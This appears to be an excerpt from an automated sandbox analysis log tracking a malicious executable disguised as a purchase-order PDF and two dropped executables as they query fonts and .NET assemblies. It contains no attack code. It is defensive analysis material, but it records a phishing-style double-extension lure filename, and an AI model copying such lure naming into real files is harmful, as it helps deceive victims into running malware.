Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Zip.exe VolumeInformation
